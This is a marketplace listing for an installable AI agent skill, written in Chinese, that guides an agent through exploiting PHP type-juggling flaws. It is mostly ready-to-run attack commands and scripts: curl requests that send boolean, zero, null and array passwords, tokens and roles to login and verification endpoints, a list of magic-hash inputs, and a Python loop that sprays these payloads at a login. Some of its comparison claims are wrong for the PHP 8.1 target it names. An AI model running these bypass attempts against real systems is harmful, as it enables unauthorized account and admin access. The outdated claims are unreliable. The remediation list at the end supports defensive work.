# Exploiting Type Juggling Vulnerabilities

> 利用 PHP 宽松比较运算符导致的类型转换漏洞，通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。

- Skill: `killvxk/exploiting-type-juggling-vulnerabilities` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-type-juggling-vulnerabilities`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-type-juggling-vulnerabilities/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-type-juggling-vulnerabilities

---


# 利用类型转换漏洞（Exploiting Type Juggling Vulnerabilities）

## 适用场景
- 测试 PHP Web 应用程序的身份验证绕过漏洞时
- 评估密码比较和哈希验证逻辑时
- 测试使用宽松比较（== 而非 ===）的应用程序时
- 对处理 JSON 或反序列化输入的 PHP 应用程序进行代码审查时
- 评估依赖类型相关比较的输入验证时

## 前置条件
- 了解 PHP 类型系统和宽松比较行为
- 掌握魔术哈希值（0e 前缀）及其科学记数法解释
- 使用 Burp Suite 进行请求操纵和参数类型更改
- PHP 开发环境，用于本地测试载荷
- 来自 PayloadsAllTheThings 的魔术哈希字符串集合
- 能够发送 JSON 或序列化数据以控制输入类型

## 工作流程

### 步骤 1 — 识别类型转换目标
```bash
# 查找具有以下特征的 PHP 应用程序：
# - 登录/认证表单
# - 密码比较端点
# - 接受 JSON 输入的 API 端点
# - 令牌/哈希验证
# - 用于访问控制的数值比较

# 检查应用程序是否接受 JSON 输入（允许类型控制）
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# 如果应用程序通常使用表单数据，尝试 JSON
# 表单：username=admin&password=test
# JSON：{"username":"admin","password":true}
```

### 步骤 2 — 利用宽松比较实现身份验证绕过
```bash
# PHP 宽松比较：0 == "password" 返回 TRUE
# 通过 JSON 发送整数 0 作为密码
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# 发送布尔值 true（宽松比较中 TRUE == "任意字符串"）
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# 发送空数组（数组绕过 strcmp）
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# 发送 null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp 漏洞：strcmp(array, string) 返回 NULL
# 宽松比较中 NULL == 0 为 TRUE
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"
```

### 步骤 3 — 利用魔术哈希碰撞
```bash
# PHP 将 "0e..." 字符串视为科学记数法（0 * 10^N = 0）
# 如果哈希以 "0e" 开头且后跟纯数字，则在宽松比较中等于 0

# 魔术 MD5 哈希（在宽松比较中均等于 0）：
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# 如果应用程序比较 md5(user_input) == stored_hash：
# 且 stored_hash 以 "0e" 开头且后续只有数字
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# 魔术 SHA1 哈希：
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# 使用已知魔术哈希值进行测试
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "测试：$payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done
```

### 步骤 4 — 利用访问控制中的比较漏洞
```bash
# 数值比较绕过
# 如果：if($user_id == $target_id) { // 允许访问 }
# "0" == "0e12345" 为 TRUE（均等于 0）

# 字符串到整数转换
# "1abc" == 1 在 PHP 中为 TRUE（字符串截断为整数）
curl "http://target.com/api/user?id=1abc"

# 用于角色检查的布尔比较
# if($role == true) 对任何非空字符串都授予访问权限
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# 用于可选检查的 Null 比较
# if($token == null) 可能跳过验证
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'
```

### 步骤 5 — 通过反序列化输入利用
```bash
# PHP json_decode() 保留类型
# 攻击者通过 JSON 控制类型：true、0、null、[]

# 绕过令牌验证
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'

# 绕过数字 PIN 验证
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'

# 使用零值绕过
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'

# PHP unserialize() 类型转换
# 构造整数类型而非字符串类型的序列化对象
# s:8:"password"; -> i:0;（字符串 "password" 改为整数 0）
```

### 步骤 6 — 自动化类型转换测试
```bash
# 针对每个参数测试所有常见类型转换载荷
# 在 Burp Intruder 中使用类型转换载荷列表

# 基于 JSON 测试的载荷列表：
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"

# Python 自动化脚本
python3 -c "
import requests
import json

url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']

for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> 状态: {r.status_code}, 长度: {len(r.text)}')
"
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| 宽松比较（==） | PHP 比较，在比较值之前执行类型强制转换 |
| 严格比较（===） | PHP 比较，要求值和类型都匹配 |
| 魔术哈希（Magic Hash） | 哈希以 "0e" 开头并后跟数字的字符串，在宽松比较中等于 0 |
| 类型强制（Type Coercion） | 比较期间类型之间的自动转换（字符串转整数、null 转 0） |
| strcmp 绕过（strcmp Bypass） | 将数组传递给 strcmp() 返回 NULL，在宽松比较中等于 0 |
| JSON 类型控制（JSON Type Control） | 使用 JSON 输入向 PHP 端点发送特定类型（布尔值、整数、null） |
| 科学记数法（Scientific Notation） | PHP 在数值比较中将 "0eN" 字符串解释为 0 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| Burp Suite | 用于更改请求中参数类型的 HTTP 代理 |
| PHP 交互式 Shell | 本地测试类型转换行为 |
| PayloadsAllTheThings | 精选的魔术哈希和类型转换载荷列表 |
| phpggc | PHP 通用 Gadget 链，用于反序列化利用 |
| 自定义 Python 脚本 | 自动化类型转换载荷测试 |
| PHPStan/Psalm | 检测代码中宽松比较的静态分析工具 |

## 常见场景

1. **通过布尔值绕过身份验证** — 发送 `"password": true` 作为 JSON 以绕过宽松比较密码验证
2. **魔术哈希碰撞** — 使用已知魔术哈希输入（"240610708"），其 MD5 以 "0e" 开头，与存储的哈希匹配
3. **strcmp 数组绕过** — 发送 `password[]=anything`，使 strcmp() 返回 NULL，绕过密码比较
4. **PIN/OTP 绕过** — 发送整数 0 作为验证码，与实际代码的 "0e..." 哈希匹配
5. **角色提升** — 发送 `"role": true`，在宽松比较访问控制中匹配任何非空角色字符串

## 输出格式

```
## 类型转换漏洞报告
- **目标**：http://target.com
- **语言**：PHP 8.1
- **框架**：Laravel

### 发现
| # | 端点 | 参数 | 载荷 | 类型 | 影响 |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true（布尔值） | 宽松比较 | 认证绕过 |
| 2 | POST /login | password | 240610708（魔术哈希） | MD5 0e 碰撞 | 认证绕过 |
| 3 | POST /login | password[] | 数组 | strcmp 返回 NULL | 认证绕过 |
| 4 | POST /verify | code | 0（整数） | 数值比较 | OTP 绕过 |

### PHP 比较表（相关）
| 表达式 | 结果 | 原因 |
|-----------|--------|--------|
| 0 == "password" | TRUE | 字符串转换为 0 |
| true == "password" | TRUE | 非空字符串为真值 |
| "0e123" == "0e456" | TRUE | 均为科学记数法 = 0 |
| NULL == 0 | TRUE | NULL 转换为 0 |

### 修复建议
- 在安全关键代码中将所有 == 替换为 ===（严格比较）
- 使用 password_verify() 进行密码比较，而非直接比较
- 使用 hash_equals() 进行时序安全的哈希比较
- 在比较操作前验证输入类型
- 在所有文件中启用 PHP strict_types 声明
```

